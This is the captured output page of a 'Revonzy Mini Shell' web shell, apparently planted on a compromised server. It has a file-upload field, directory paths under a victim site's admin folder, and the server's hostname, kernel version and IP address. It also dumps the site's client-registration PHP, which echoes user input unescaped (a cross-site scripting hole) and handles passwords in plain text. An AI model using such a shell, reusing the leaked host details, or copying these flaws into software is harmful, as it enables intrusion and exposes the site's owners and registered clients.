Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/kpmim.org/admin/old/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/kpmim.org/admin/old/client-registration.php

<?php
		include('header.php');
?>
<?php	
	$flag						=	0;
	$success_flag				=	0;
	$email						=	$_SESSION['login_admin'];
	$full_name					=	"";
	$contact_no					=	"";
	$permanent_address			=	"";
	$delivery_address			=	"";
	$jar						=	"";
	$seq_no						=	"";
	$user_id					=	"";
	$password					=	"";
	if(isset($_POST['add']))
	{
		$seq_no					=	$_POST['seq_no'];
		$full_name				=	$_POST['full_name'];
		$contact_no				=	$_POST['contact_no'];
		$permanent_address		=	$_POST['paddress'];
		$delivery_address		=	$_POST['jaddress'];
		$jar					=	$_POST['jar'];
		$user_id				=	$_POST['user_id'];
		$password				=	$_POST['password'];
		
			if($db->user_registration($full_name,$contact_no,$permanent_address,$delivery_address,$jar,$seq_no,$user_id,$password))		
				{
					
					$success_flag	=	1;
				}
			}
			
	

?>

<!--
	Author: W3layouts
	Author URL: http://w3layouts.com
	License: Creative Commons Attribution 3.0 Unported
	License URL: http://creativecommons.org/licenses/by/3.0/
-->
<!DOCTYPE html>
<html lang="en">
<!-- Head -->
<head>
<title>Jar Supplier</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<!-- .css files -->
	<link href="css/bars.css" rel="stylesheet" type="text/css" />
	<link rel="stylesheet" href="css/bootstrap.min.css" type="text/css" media="all" />
	<link rel="stylesheet" href="/css/style.css" type="text/css" media="all" />
	<link rel="stylesheet" href="css/font-awesome.css" />
<!-- //.css files -->
<!-- Default-JavaScript-File -->
	<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
	<script type="text/javascript" src="js/bootstrap.min.js"></script>
<!-- //Default-JavaScript-File -->
<!-- fonts -->
	<link href="//fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&amp;subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel="stylesheet">
	<link href="//fonts.googleapis.com/css?family=Ropa+Sans:400,400i&amp;subset=latin-ext" rel="stylesheet">
<!-- //fonts -->
<!-- scrolling script -->
<script type="text/javascript">
	jQuery(document).ready(function($) {
		$(".scroll").click(function(event){		
			event.preventDefault();
			$('html,body').animate({scrollTop:$(this.hash).offset().top},1000);
		});
	});
</script>
<!-- //scrolling script -->
<link rel="stylesheet" href="/css/stylesheet.css" type="text/css" media="all" />
<link href="css/support.css" rel="stylesheet" type="text/css" media="all">
<style>
th
{
	text-align:center;
}
</style>
</head>
<!-- //Head -->
<!-- Body -->
<body>
	
	
<div class="exp1">	
<section class="about" style="background-color:#FFFFFF;">
	<div class="container" style="width:100%;">
	
	
		
	<h2>Add Client</h2>
	<div style="margin:auto; width:500px; height:400px;">
	 <form method="post" action="<?php echo $_SERVER['PHP_SELF'] ?>" >
		<?php
		if($success_flag==1)
		{
		?>
	
		<div class="alert alert-success">
		<span class="alert-link">Success!</span>Record Added successfully.
		</div>	
		<?php
		}
		?>
		
				<div class="form-group col-lg-12">
						<label style="text-align:left">Sequence No:</label>
						<input type="text" class="form-control" name="seq_no" placeholder="Enter Sequence No." value="<?php echo $seq_no; ?>" required />
				</div>
				<div class="form-group col-lg-12">
						<label style="text-align:left">Full Name:</label>
						<input type="text" class="form-control" name="full_name" placeholder="Enter Full Name." value="<?php echo $full_name; ?>" required />
				</div>
				<div class="form-group col-lg-12">
						<label style="text-align:left">Contact Number:</label>
						<input type="number" class="form-control" name="contact_no" placeholder="Enter Contact Number." value="<?php echo $contact_no; ?>" required />
				</div>
				<div class="form-group col-lg-12">
						<label style="text-align:left">Permanent Address:</label>
						<textarea class="form-control" name="paddress" placeholder="Enter Permanent Address." required><?php echo $permanent_address; ?></textarea>
				</div>
				<div class="form-group col-lg-12">
						<label style="text-align:left">jar Delivery Address:</label>
						<textarea class="form-control" name="jaddress" placeholder="Enter Jar Delivery Address." required><?php echo $delivery_address; ?></textarea>
				</div>
				<div class="form-group col-lg-12">
				<label style="text-align:left">jar Type:</label>
				<div class="radio">
				  <label><input type="radio" name="jar" value="Bottel Jar" <?php if($jar=="Bottel Jar"){ ?> checked <?php }?> required>Bottel Jar</label>
				</div>
				<div class="radio">
				  <label><input type="radio" name="jar" value="Regular Jar" <?php if($jar=="Regular Jar"){ ?> checked <?php }?> required>Regular Jar</label>
				</div>
				<div class="form-group col-lg-12">
						<label style="text-align:left">User Id:</label>
						<input type="text" class="form-control" name="user_id" placeholder="Enter User Id." value="<?php echo $user_id; ?>" required />
				</div>
				<div class="form-group col-lg-12">
						<label style="text-align:left">Password:</label>
						<input type="password" class="form-control" name="password" placeholder="Enter Password." value="<?php echo $password; ?>" required />
				</div>
				</div>
				<div class="form-group col-lg-12" style="text-align:center;">
					<button type="submit" class="btn btn-primary" name="add" style="width:40%; margin-left:-70px;">Add Record</button>
				</div>
	</form>

	<div class="clearfix"></div>
		</div>
		</div>
		</section>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4